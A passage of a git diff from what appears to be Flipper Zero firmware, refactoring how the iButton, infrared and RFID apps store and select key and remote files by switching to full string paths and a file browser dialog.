char* filter_ext, bool skip_assets) { BrowserWorker* browser = malloc(sizeof(BrowserWorker)); idx_last_array_init(browser->idx_last); diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h index 821d5103f..b0d360a38 100644 --- a/applications/gui/modules/file_browser_worker.h +++ b/applications/gui/modules/file_browser_worker.h @@ -22,9 +22,7 @@ typedef void (*BrowserWorkerListItemCallback)( bool is_last); typedef void (*BrowserWorkerLongLoadCallback)(void* context); -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); +BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets); void file_browser_worker_free(BrowserWorker* browser); diff --git a/applications/gui/modules/validators.c b/applications/gui/modules/validators.c index 242dbe682..546423d02 100644 --- a/applications/gui/modules/validators.c +++ b/applications/gui/modules/validators.c @@ -3,7 +3,7 @@ #include "applications/storage/storage.h" struct ValidatorIsFile { - const char* app_path_folder; + char* app_path_folder; const char* app_extension; char* current_name; }; @@ -40,7 +40,7 @@ ValidatorIsFile* validator_is_file_alloc_init( const char* current_name) { ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - instance->app_path_folder = app_path_folder; + instance->app_path_folder = strdup(app_path_folder); instance->app_extension = app_extension; instance->current_name = strdup(current_name); @@ -49,6 +49,7 @@ ValidatorIsFile* validator_is_file_alloc_init( void validator_is_file_free(ValidatorIsFile* instance) { furi_assert(instance); + free(instance->app_path_folder); free(instance->current_name); free(instance); } diff --git a/applications/ibutton/ibutton.c b/applications/ibutton/ibutton.c index a38f077f3..b1b5bf62f 100644 --- a/applications/ibutton/ibutton.c +++ b/applications/ibutton/ibutton.c @@ -1,7 +1,8 @@ #include "ibutton.h" +#include "assets_icons.h" #include "ibutton_i.h" #include "ibutton/scenes/ibutton_scene.h" - +#include "m-string.h" #include #include @@ -85,6 +86,8 @@ void ibutton_tick_event_callback(void* context) { iButton* ibutton_alloc() { iButton* ibutton = malloc(sizeof(iButton)); + string_init(ibutton->file_path); + ibutton->scene_manager = scene_manager_alloc(&ibutton_scene_handlers, ibutton); ibutton->view_dispatcher = view_dispatcher_alloc(); @@ -176,49 +179,28 @@ void ibutton_free(iButton* ibutton) { ibutton_worker_free(ibutton->key_worker); ibutton_key_free(ibutton->key); + string_clear(ibutton->file_path); + free(ibutton); } bool ibutton_file_select(iButton* ibutton) { - bool success = dialog_file_select_show( + bool success = dialog_file_browser_show( ibutton->dialogs, - IBUTTON_APP_FOLDER, + ibutton->file_path, + ibutton->file_path, IBUTTON_APP_EXTENSION, - ibutton->file_name, - IBUTTON_FILE_NAME_SIZE, - ibutton_key_get_name_p(ibutton->key)); + true, + &I_ibutt_10px, + true); if(success) { - string_t key_str; - string_init_printf( - key_str, "%s/%s%s", IBUTTON_APP_FOLDER, ibutton->file_name, IBUTTON_APP_EXTENSION); - success = ibutton_load_key_data(ibutton, key_str); - - if(success) { - ibutton_key_set_name(ibutton->key, ibutton->file_name); - } - - string_clear(key_str); + success = ibutton_load_key_data(ibutton, ibutton->file_path); } return success; } -bool ibutton_load_key(iButton* ibutton, const char* key_name) { - string_t key_path; - string_init_set_str(key_path, key_name); - - const bool success = ibutton_load_key_data(ibutton, key_path); - - if(success) { - path_extract_filename_no_ext(key_name, key_path); - ibutton_key_set_name(ibutton->key, string_get_cstr(key_path)); - } - - string_clear(key_path); - return success; -} - bool ibutton_save_key(iButton* ibutton, const char* key_name) { // Create ibutton directory if necessary ibutton_make_app_folder(ibutton); @@ -226,27 +208,22 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { FlipperFormat* file = flipper_format_file_alloc(ibutton->storage); iButtonKey* key = ibutton->key; - string_t key_file_name; bool result = false; - string_init(key_file_name); do { // First remove key if it was saved (we rename the key) - if(!ibutton_delete_key(ibutton)) break; - - // Save the key - ibutton_key_set_name(key, key_name); + ibutton_delete_key(ibutton); // Set full file name, for new key - string_printf( - key_file_name, - "%s/%s%s", - IBUTTON_APP_FOLDER, - ibutton_key_get_name_p(key), - IBUTTON_APP_EXTENSION); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + size_t filename_start = string_search_rchar(ibutton->file_path, '/'); + string_left(ibutton->file_path, filename_start); + } + + string_cat_printf(ibutton->file_path, "/%s%s", key_name, IBUTTON_APP_EXTENSION); // Open file for write - if(!flipper_format_file_open_always(file, string_get_cstr(key_file_name))) break; + if(!flipper_format_file_open_always(file, string_get_cstr(ibutton->file_path))) break; // Write header if(!flipper_format_write_header_cstr(file, IBUTTON_APP_FILE_TYPE, 1)) break; @@ -271,8 +248,6 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { flipper_format_free(file); - string_clear(key_file_name); - if(!result) { dialog_message_show_storage_error(ibutton->dialogs, "Cannot save\nkey file"); } @@ -281,17 +256,8 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { } bool ibutton_delete_key(iButton* ibutton) { - string_t file_name; bool result = false; - - string_init_printf( - file_name, - "%s/%s%s", - IBUTTON_APP_FOLDER, - ibutton_key_get_name_p(ibutton->key), - IBUTTON_APP_EXTENSION); - result = storage_simply_remove(ibutton->storage, string_get_cstr(file_name)); - string_clear(file_name); + result = storage_simply_remove(ibutton->storage, string_get_cstr(ibutton->file_path)); return result; } @@ -335,8 +301,17 @@ int32_t ibutton_app(void* p) { ibutton_make_app_folder(ibutton); - if(p && ibutton_load_key(ibutton, (const char*)p)) { - // TODO: Display an error if the key from p could not be loaded + bool key_loaded = false; + + if(p) { + string_set_str(ibutton->file_path, (const char*)p); + if(ibutton_load_key_data(ibutton, ibutton->file_path)) { + key_loaded = true; + // TODO: Display an error if the key from p could not be loaded + } + } + + if(key_loaded) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneEmulate); } else { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneStart); diff --git a/applications/ibutton/ibutton_i.h b/applications/ibutton/ibutton_i.h index 36857fd64..e66712bee 100644 --- a/applications/ibutton/ibutton_i.h +++ b/applications/ibutton/ibutton_i.h @@ -41,7 +41,7 @@ struct iButton { iButtonWorker* key_worker; iButtonKey* key; - char file_name[IBUTTON_FILE_NAME_SIZE]; + string_t file_path; char text_store[IBUTTON_TEXT_STORE_SIZE + 1]; Submenu* submenu; @@ -74,7 +74,6 @@ typedef enum { } iButtonNotificationMessage; bool ibutton_file_select(iButton* ibutton); -bool ibutton_load_key(iButton* ibutton, const char* key_name); bool ibutton_save_key(iButton* ibutton, const char* key_name); bool ibutton_delete_key(iButton* ibutton); void ibutton_text_store_set(iButton* ibutton, const char* text, ...); diff --git a/applications/ibutton/scenes/ibutton_scene_add_type.c b/applications/ibutton/scenes/ibutton_scene_add_type.c index db129295a..273330e71 100644 --- a/applications/ibutton/scenes/ibutton_scene_add_type.c +++ b/applications/ibutton/scenes/ibutton_scene_add_type.c @@ -1,4 +1,5 @@ #include "../ibutton_i.h" +#include "m-string.h" enum SubmenuIndex { SubmenuIndexCyfral, @@ -44,7 +45,7 @@ bool ibutton_scene_add_type_on_event(void* context, SceneManagerEvent event) { furi_crash("Unknown key type"); } - ibutton_key_set_name(key, ""); + string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); ibutton_key_clear_data(key); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddValue); } diff --git a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c index 73ea97cc6..51f1f2794 100644 --- a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c +++ b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c @@ -1,4 +1,5 @@ #include "../ibutton_i.h" +#include static void ibutton_scene_delete_confirm_widget_callback( GuiButtonType result, @@ -16,7 +17,11 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", ibutton_key_get_name_p(key)); + string_t key_name; + string_init(key_name); + path_extract_filename(ibutton->file_path, key_name, true); + + ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", string_get_cstr(key_name)); widget_add_text_box_element( widget, 0, 0, 128, 27, AlignCenter, AlignCenter, ibutton->text_store, false); widget_add_button_element( @@ -62,6 +67,8 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { widget, 64, 33, AlignCenter, AlignBottom, FontSecondary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); + + string_clear(key_name); } bool ibutton_scene_delete_confirm_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_emulate.c b/applications/ibutton/scenes/ibutton_scene_emulate.c index 8ffe73b66..590223979 100644 --- a/applications/ibutton/scenes/ibutton_scene_emulate.c +++ b/applications/ibutton/scenes/ibutton_scene_emulate.c @@ -1,5 +1,6 @@ #include "../ibutton_i.h" #include +#include static void ibutton_scene_emulate_callback(void* context, bool emulated) { iButton* ibutton = context; @@ -15,14 +16,19 @@ void ibutton_scene_emulate_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - const char* key_name = ibutton_key_get_name_p(key); + + string_t key_name; + string_init(key_name); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + path_extract_filename(ibutton->file_path, key_name, true); + } uint8_t line_count = 2; DOLPHIN_DEED(DolphinDeedIbuttonEmulate); // check that stored key has name - if(strcmp(key_name, "") != 0) { - ibutton_text_store_set(ibutton, "emulating\n%s", key_name); + if(!string_empty_p(key_name)) { + ibutton_text_store_set(ibutton, "emulating\n%s", string_get_cstr(key_name)); line_count = 2; } else { // if not, show key data @@ -77,6 +83,8 @@ void ibutton_scene_emulate_on_enter(void* context) { ibutton_worker_emulate_set_callback( ibutton->key_worker, ibutton_scene_emulate_callback, ibutton); ibutton_worker_emulate_start(ibutton->key_worker, key); + + string_clear(key_name); } bool ibutton_scene_emulate_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_info.c b/applications/ibutton/scenes/ibutton_scene_info.c index 5b0af1d8f..bd364ada8 100644 --- a/applications/ibutton/scenes/ibutton_scene_info.c +++ b/applications/ibutton/scenes/ibutton_scene_info.c @@ -1,4 +1,5 @@ #include "../ibutton_i.h" +#include void ibutton_scene_info_on_enter(void* context) { iButton* ibutton = context; @@ -7,7 +8,11 @@ void ibutton_scene_info_on_enter(void* context) { const uint8_t* key_data = ibutton_key_get_data_p(key); - ibutton_text_store_set(ibutton, "%s", ibutton_key_get_name_p(key)); + string_t key_name; + string_init(key_name); + path_extract_filename(ibutton->file_path, key_name, true); + + ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); widget_add_text_box_element( widget, 0, 0, 128, 28, AlignCenter, AlignCenter, ibutton->text_store, false); @@ -46,6 +51,8 @@ void ibutton_scene_info_on_enter(void* context) { widget, 64, 35, AlignCenter, AlignBottom, FontPrimary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); + + string_clear(key_name); } bool ibutton_scene_info_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_read.c b/applications/ibutton/scenes/ibutton_scene_read.c index a25f27e60..0cc0a8dff 100644 --- a/applications/ibutton/scenes/ibutton_scene_read.c +++ b/applications/ibutton/scenes/ibutton_scene_read.c @@ -18,7 +18,7 @@ void ibutton_scene_read_on_enter(void* context) { popup_set_icon(popup, 0, 5, &I_DolphinWait_61x59); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewPopup); - ibutton_key_set_name(key, ""); + string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); ibutton_worker_read_set_callback(worker, ibutton_scene_read_callback, ibutton); ibutton_worker_read_start(worker, key); diff --git a/applications/ibutton/scenes/ibutton_scene_save_name.c b/applications/ibutton/scenes/ibutton_scene_save_name.c index b1baf6afc..6caf5d2d5 100644 --- a/applications/ibutton/scenes/ibutton_scene_save_name.c +++ b/applications/ibutton/scenes/ibutton_scene_save_name.c @@ -1,5 +1,7 @@ #include "../ibutton_i.h" +#include "m-string.h" #include +#include static void ibutton_scene_save_name_text_input_callback(void* context) { iButton* ibutton = context; @@ -10,13 +12,17 @@ void ibutton_scene_save_name_on_enter(void* context) { iButton* ibutton = context; TextInput* text_input = ibutton->text_input; - const char* key_name = ibutton_key_get_name_p(ibutton->key); - const bool key_name_is_empty = !strcmp(key_name, ""); + string_t key_name; + string_init(key_name); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + path_extract_filename(ibutton->file_path, key_name, true); + } + const bool key_name_is_empty = string_empty_p(key_name); if(key_name_is_empty) { set_random_name(ibutton->text_store, IBUTTON_TEXT_STORE_SIZE); } else { - ibutton_text_store_set(ibutton, "%s", key_name); + ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); } text_input_set_header_text(text_input, "Name the key"); @@ -28,11 +34,19 @@ void ibutton_scene_save_name_on_enter(void* context) { IBUTTON_KEY_NAME_SIZE, key_name_is_empty); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(IBUTTON_APP_FOLDER, IBUTTON_APP_EXTENSION, key_name); + string_t folder_path; + string_init(folder_path); + + path_extract_dirname(string_get_cstr(ibutton->file_path), folder_path); + + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + string_get_cstr(folder_path), IBUTTON_APP_EXTENSION, string_get_cstr(key_name)); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewTextInput); + + string_clear(key_name); + string_clear(folder_path); } bool ibutton_scene_save_name_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_start.c b/applications/ibutton/scenes/ibutton_scene_start.c index a3141f5ad..cc8af9839 100644 --- a/applications/ibutton/scenes/ibutton_scene_start.c +++ b/applications/ibutton/scenes/ibutton_scene_start.c @@ -36,6 +36,7 @@ bool ibutton_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.event == SubmenuIndexRead) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneRead); } else if(event.event == SubmenuIndexSaved) { + string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneSelectKey); } else if(event.event == SubmenuIndexAdd) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddType); diff --git a/applications/ibutton/scenes/ibutton_scene_write.c b/applications/ibutton/scenes/ibutton_scene_write.c index 35e45d83b..4ce19408a 100644 --- a/applications/ibutton/scenes/ibutton_scene_write.c +++ b/applications/ibutton/scenes/ibutton_scene_write.c @@ -1,4 +1,6 @@ #include "../ibutton_i.h" +#include "m-string.h" +#include "toolbox/path.h" typedef enum { iButtonSceneWriteStateDefault, @@ -17,13 +19,18 @@ void ibutton_scene_write_on_enter(void* context) { iButtonWorker* worker = ibutton->key_worker; const uint8_t* key_data = ibutton_key_get_data_p(key); - const char* key_name = ibutton_key_get_name_p(key); + + string_t key_name; + string_init(key_name); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + path_extract_filename(ibutton->file_path, key_name, true); + } uint8_t line_count = 2; // check that stored key has name - if(strcmp(key_name, "") != 0) { - ibutton_text_store_set(ibutton, "writing\n%s", key_name); + if(!string_empty_p(key_name)) { + ibutton_text_store_set(ibutton, "writing\n%s", string_get_cstr(key_name)); line_count = 2; } else { // if not, show key data @@ -79,6 +86,8 @@ void ibutton_scene_write_on_enter(void* context) { ibutton_worker_write_set_callback(worker, ibutton_scene_write_callback, ibutton); ibutton_worker_write_start(worker, key); + + string_clear(key_name); } bool ibutton_scene_write_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/infrared/infrared_app.cpp b/applications/infrared/infrared_app.cpp index 5dc3b311d..1ac859d10 100644 --- a/applications/infrared/infrared_app.cpp +++ b/applications/infrared/infrared_app.cpp @@ -1,4 +1,5 @@ #include "infrared_app.h" +#include "m-string.h" #include #include #include @@ -12,20 +13,18 @@ int32_t InfraredApp::run(void* args) { bool exit = false; if(args) { - std::string path = static_cast(args); - std::string remote_name(path, path.find_last_of('/') + 1, path.size()); - auto last_dot = remote_name.find_last_of('.'); - if(last_dot != std::string::npos) { - remote_name.erase(last_dot); - path.erase(path.find_last_of('/')); - bool result = remote_manager.load(path, remote_name); + string_t path; + string_init_set_str(path, (char*)args); + if(string_end_with_str_p(path, InfraredApp::infrared_extension)) { + bool result = remote_manager.load(path); if(result) { current_scene = InfraredApp::Scene::Remote; } else { - printf("Failed to load remote \'%s\'\r\n", remote_name.c_str()); + printf("Failed to load remote \'%s\'\r\n", string_get_cstr(path)); return -1; } } + string_clear(path); } scenes[current_scene]->on_enter(this); @@ -51,6 +50,7 @@ int32_t InfraredApp::run(void* args) { InfraredApp::InfraredApp() { furi_check(InfraredAppRemoteManager::max_button_name_length < get_text_store_size()); + string_init_set_str(file_path, InfraredApp::infrared_directory); notification = static_cast(furi_record_open("notification")); dialogs = static_cast(furi_record_open("dialogs")); infrared_worker = infrared_worker_alloc(); @@ -60,6 +60,7 @@ InfraredApp::~InfraredApp() { infrared_worker_free(infrared_worker); furi_record_close("notification"); furi_record_close("dialogs"); + string_clear(file_path); for(auto& [key, scene] : scenes) delete scene; } diff --git a/applications/infrared/infrared_app.h b/applications/infrared/infrared_app.h index e0db7c51b..1cb8b6617 100644 --- a/applications/infrared/infrared_app.h +++ b/applications/infrared/infrared_app.h @@ -251,6 +251,8 @@ public: /** Main class destructor, deinitializes all critical objects */ ~InfraredApp(); + string_t file_path; + /** Path to Infrared directory */ static constexpr const char* infrared_directory = "/any/infrared"; /** Infrared files extension (remote files and universal databases) */ diff --git a/applications/infrared/infrared_app_remote_manager.cpp b/applications/infrared/infrared_app_remote_manager.cpp index 4fd645532..faeccb39e 100644 --- a/applications/infrared/infrared_app_remote_manager.cpp +++ b/applications/infrared/infrared_app_remote_manager.cpp @@ -1,3 +1,5 @@ +#include "m-string.h" +#include "storage/filesystem_api_defines.h" #include #include "infrared_app_remote_manager.h" #include "infrared/helpers/infrared_parser.h" @@ -11,44 +13,58 @@ #include #include #include "infrared_app.h" +#include static const char* default_remote_name = "remote"; -std::string InfraredAppRemoteManager::make_full_name( - const std::string& path, - const std::string& remote_name) const { - return std::string("") + path + "/" + remote_name + InfraredApp::infrared_extension; -} - -std::string InfraredAppRemoteManager::find_vacant_remote_name(const std::string& name) { - std::string result_name; +void InfraredAppRemoteManager::find_vacant_remote_name(string_t name, string_t path) { Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = storage_common_stat( - storage, make_full_name(InfraredApp::infrared_directory, name).c_str(), NULL); + string_t base_path; + string_init_set(base_path, path); - if(error == FSE_NOT_EXIST) { - result_name = name; - } else if(error != FSE_OK) { - result_name = std::string(); - } else { + if(string_end_with_str_p(base_path, InfraredApp::infrared_extension)) { + size_t filename_start = string_search_rchar(base_path, '/'); + string_left(base_path, filename_start); + } + + string_printf( + base_path, + "%s/%s%s", + string_get_cstr(path), + string_get_cstr(name), + InfraredApp::infrared_extension); + + FS_Error error = storage_common_stat(storage, string_get_cstr(base_path), NULL); + + if(error == FSE_OK) { /* if suggested name is occupied, try another one (name2, name3, etc) */ + size_t dot = string_search_rchar(base_path, '.'); + string_left(base_path, dot); + + string_t path_temp; + string_init(path_temp); + uint32_t i = 1; - std::string new_name; do { - new_name = make_full_name(InfraredApp::infrared_directory, name + std::to_string(++i)); - error = storage_common_stat(storage, new_name.c_str(), NULL); + string_printf( + path_temp, + "%s%u%s", + string_get_cstr(base_path), + ++i, + InfraredApp::infrared_extension); + error = storage_common_stat(storage, string_get_cstr(path_temp), NULL); } while(error == FSE_OK); + string_clear(path_temp); + if(error == FSE_NOT_EXIST) { - result_name = name + std::to_string(i); - } else { - result_name = std::string(); + string_cat_printf(name, "%u", i); } } + string_clear(base_path); furi_record_close("storage"); - return result_name; } bool InfraredAppRemoteManager::add_button(const char* button_name, const InfraredAppSignal& signal) { @@ -61,12 +77,23 @@ bool InfraredAppRemoteManager::add_remote_with_button( const InfraredAppSignal& signal) { furi_check(button_name != nullptr); - auto new_name = find_vacant_remote_name(default_remote_name); - if(new_name.empty()) { - return false; - } + string_t new_name; + string_init_set_str(new_name, default_remote_name); + + string_t new_path; + string_init_set_str(new_path, InfraredApp::infrared_directory); + + find_vacant_remote_name(new_name, new_path); + + string_cat_printf( + new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); + + remote = std::make_unique(new_path); + remote->name = std::string(string_get_cstr(new_name)); + + string_clear(new_path); + string_clear(new_name); - remote = std::make_unique(InfraredApp::infrared_directory, new_name); return add_button(button_name, signal); } @@ -93,8 +120,7 @@ const InfraredAppSignal& InfraredAppRemoteManager::get_button_data(size_t index) bool InfraredAppRemoteManager::delete_remote() { Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = - storage_common_remove(storage, make_full_name(remote->path, remote->name).c_str()); + FS_Error error = storage_common_remove(storage, string_get_cstr(remote->path)); reset_remote(); furi_record_close("storage"); @@ -128,22 +154,33 @@ std::string InfraredAppRemoteManager::get_remote_name() { bool InfraredAppRemoteManager::rename_remote(const char* str) { furi_check(str != nullptr); furi_check(remote.get() != nullptr); + furi_check(!string_empty_p(remote->path)); if(!remote->name.compare(str)) { return true; } - auto new_name = find_vacant_remote_name(str); - if(new_name.empty()) { - return false; + string_t new_name; + string_init_set_str(new_name, str); + find_vacant_remote_name(new_name, remote->path); + + string_t new_path; + string_init_set(new_path, remote->path); + if(string_end_with_str_p(new_path, InfraredApp::infrared_extension)) { + size_t filename_start = string_search_rchar(new_path, '/'); + string_left(new_path, filename_start); } + string_cat_printf( + new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); Storage* storage = static_cast(furi_record_open("storage")); - std::string old_filename = make_full_name(remote->path, remote->name); - std::string new_filename = make_full_name(remote->path, new_name); - FS_Error error = storage_common_rename(storage, old_filename.c_str(), new_filename.c_str()); - remote->name = new_name; + FS_Error error = + storage_common_rename(storage, string_get_cstr(remote->path), string_get_cstr(new_path)); + remote->name = std::string(string_get_cstr(new_name)); + + string_clear(new_name); + string_clear(new_path); furi_record_close("storage"); return (error == FSE_OK || error == FSE_EXIST); @@ -171,10 +208,8 @@ bool InfraredAppRemoteManager::store(void) { FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I( - "RemoteManager", "store file: \'%s\'", make_full_name(remote->path, remote->name).c_str()); - result = - flipper_format_file_open_always(ff, make_full_name(remote->path, remote->name).c_str()); + FURI_LOG_I("RemoteManager", "store file: \'%s\'", string_get_cstr(remote->path)); + result = flipper_format_file_open_always(ff, string_get_cstr(remote->path)); if(result) { result = flipper_format_write_header_cstr(ff, "IR signals file", 1); } @@ -192,13 +227,13 @@ bool InfraredAppRemoteManager::store(void) { return result; } -bool InfraredAppRemoteManager::load(const std::string& path, const std::string& remote_name) { +bool InfraredAppRemoteManager::load(string_t path) { bool result = false; Storage* storage = static_cast(furi_record_open("storage")); FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I("RemoteManager", "load file: \'%s\'", make_full_name(path, remote_name).c_str()); - result = flipper_format_file_open_existing(ff, make_full_name(path, remote_name).c_str()); + FURI_LOG_I("RemoteManager", "load file: \'%s\'", string_get_cstr(path)); + result = flipper_format_file_open_existing(ff, string_get_cstr(path)); if(result) { string_t header; string_init(header); @@ -210,7 +245,14 @@ bool InfraredAppRemoteManager::load(const std::string& path, const std::string& string_clear(header); } if(result) { - remote = std::make_unique(path, remote_name); + string_t new_name; + string_init(new_name); + + remote = std::make_unique(path); + path_extract_filename(path, new_name, true); + remote->name = std::string(string_get_cstr(new_name)); + + string_clear(new_name); InfraredAppSignal signal; std::string signal_name; while(infrared_parser_read_signal(ff, signal, signal_name)) { diff --git a/applications/infrared/infrared_app_remote_manager.h b/applications/infrared/infrared_app_remote_manager.h index 31557d54b..b6f0b170f 100644 --- a/applications/infrared/infrared_app_remote_manager.h +++ b/applications/infrared/infrared_app_remote_manager.h @@ -8,6 +8,7 @@ #include "infrared_app_signal.h" +#include "m-string.h" #include #include @@ -60,17 +61,19 @@ class InfraredAppRemote { /** Name of remote */ std::string name; /** Path to remote file */ - std::string path; + string_t path; public: /** Initialize new remote * * @param path - remote file path - * @param name - new remote name */ - InfraredAppRemote(const std::string& path, const std::string& name) - : name(name) - , path(path) { + InfraredAppRemote(string_t file_path) { + string_init_set(path, file_path); + } + + ~InfraredAppRemote() { + string_clear(path); } }; @@ -78,12 +81,6 @@ public: class InfraredAppRemoteManager { /** Remote instance. There can be 1 remote loaded at a time. */ std::unique_ptr remote; - /** Make full name from remote name - * - * @param remote_name name of remote - * @retval full name of remote on disk - */ - std::string make_full_name(const std::string& path, const std::string& remote_name) const; public: /** Restriction to button name length. Buttons larger are ignored. */ @@ -125,9 +122,9 @@ public: * incremented digit(2,3,4,etc) added to name and check repeated. * * @param name - suggested remote name - * @retval garanteed free remote name, prefixed with suggested + * @param path - remote file path */ - std::string find_vacant_remote_name(const std::string& name); + void find_vacant_remote_name(string_t name, string_t path); /** Get button list * @@ -185,8 +182,8 @@ public: /** Load data from disk into current remote * - * @param name - name of remote to load + * @param path - path to remote file * @retval true if success, false otherwise */ - bool load(const std::string& path, const std::string& name); + bool load(string_t path); }; diff --git a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp index dc63c64b1..761da49f3 100644 --- a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp +++ b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp @@ -1,4 +1,6 @@ #include "../infrared_app.h" +#include "m-string.h" +#include "toolbox/path.h" void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -21,9 +23,18 @@ void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { enter_name_length = InfraredAppRemoteManager::max_remote_name_length; text_input_set_header_text(text_input, "Name the remote"); + string_t folder_path; + string_init(folder_path); + + if(string_end_with_str_p(app->file_path, InfraredApp::infrared_extension)) { + path_extract_dirname(string_get_cstr(app->file_path), folder_path); + } + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - app->infrared_directory, app->infrared_extension, remote_name.c_str()); + string_get_cstr(folder_path), app->infrared_extension, remote_name.c_str()); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); + + string_clear(folder_path); } text_input_set_result_callback( diff --git a/applications/infrared/scene/infrared_app_scene_remote_list.cpp b/applications/infrared/scene/infrared_app_scene_remote_list.cpp index f59ff3e91..c72acb6e8 100644 --- a/applications/infrared/scene/infrared_app_scene_remote_list.cpp +++ b/applications/infrared/scene/infrared_app_scene_remote_list.cpp @@ -1,4 +1,5 @@ #include "../infrared_app.h" +#include "assets_icons.h" #include "infrared/infrared_app_event.h" #include @@ -8,11 +9,6 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { bool result = false; bool file_select_result; auto remote_manager = app->get_remote_manager(); - auto last_selected_remote = remote_manager->get_remote_name(); - const char* last_selected_remote_name = - last_selected_remote.size() ? last_selected_remote.c_str() : nullptr; - auto filename_ts = - std::make_unique(InfraredAppRemoteManager::max_remote_name_length); DialogsApp* dialogs = app->get_dialogs(); InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -20,16 +16,17 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { button_menu_reset(button_menu); view_manager->switch_to(InfraredAppViewManager::ViewId::ButtonMenu); - file_select_result = dialog_file_select_show( + file_select_result = dialog_file_browser_show( dialogs, - InfraredApp::infrared_directory, + app->file_path, + app->file_path, InfraredApp::infrared_extension, - filename_ts->text, - filename_ts->text_size, - last_selected_remote_name); + true, + &I_ir_10px, + true); if(file_select_result) { - if(remote_manager->load(InfraredApp::infrared_directory, std::string(filename_ts->text))) { + if(remote_manager->load(app->file_path)) { app->switch_to_next_scene(InfraredApp::Scene::Remote); result = true; } diff --git a/applications/infrared/scene/infrared_app_scene_start.cpp b/applications/infrared/scene/infrared_app_scene_start.cpp index c42ab9fed..5efdce7a0 100644 --- a/applications/infrared/scene/infrared_app_scene_start.cpp +++ b/applications/infrared/scene/infrared_app_scene_start.cpp @@ -26,6 +26,8 @@ void InfraredAppSceneStart::on_enter(InfraredApp* app) { submenu, "Learn New Remote", SubmenuIndexLearnNewRemote, submenu_callback, app); submenu_add_item(submenu, "Saved Remotes", SubmenuIndexSavedRemotes, submenu_callback, app); submenu_set_selected_item(submenu, submenu_item_selected); + + string_set_str(app->file_path, InfraredApp::infrared_directory); submenu_item_selected = 0; view_manager->switch_to(InfraredAppViewManager::ViewId::Submenu); diff --git a/applications/lfrfid/lfrfid_app.cpp b/applications/lfrfid/lfrfid_app.cpp index c2274234b..4027a07ea 100644 --- a/applications/lfrfid/lfrfid_app.cpp +++ b/applications/lfrfid/lfrfid_app.cpp @@ -1,4 +1,7 @@ #include "lfrfid_app.h" +#include "assets_icons.h" +#include "furi/common_defines.h" +#include "m-string.h" #include "scene/lfrfid_app_scene_start.h" #include "scene/lfrfid_app_scene_read.h" #include "scene/lfrfid_app_scene_read_success.h" @@ -31,9 +34,11 @@ LfRfidApp::LfRfidApp() , storage{"storage"} , dialogs{"dialogs"} , text_store(40) { + string_init_set_str(file_path, app_folder); } LfRfidApp::~LfRfidApp() { + string_clear(file_path); } void LfRfidApp::run(void* _args) { @@ -42,7 +47,8 @@ void LfRfidApp::run(void* _args) 